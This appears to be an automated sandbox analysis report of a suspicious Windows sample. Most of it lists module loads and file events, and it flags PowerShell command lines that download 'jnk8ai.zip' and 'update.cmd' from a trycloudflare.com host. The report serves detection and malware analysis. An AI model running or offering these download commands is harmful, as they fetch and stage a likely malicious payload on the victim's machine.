Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior

Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{76765b11-3f95-4af2-ac9d-ea55d8994f1a}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D9F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D9F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1559079265.000001D0FC448000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000006.00000002.1429803458.000002AEE4B85000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbat source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb19OH source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D5F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1485475716.000001D0E2138000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D40000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb source: powershell.exe, 00000006.00000002.1429803458.000002AEE4B85000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4DB7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbb source: powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1430185049.000002AEE4DB7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbl source: powershell.exe, 00000006.00000002.1428114145.000002AEE4A96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb35 source: powershell.exe, 00000006.00000002.1430185049.000002AEE4D40000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF879341A22 pushad ; iretd		14_2_00007FF879341A81
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF8793419A5 pushad ; retf		14_2_00007FF879341A21

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
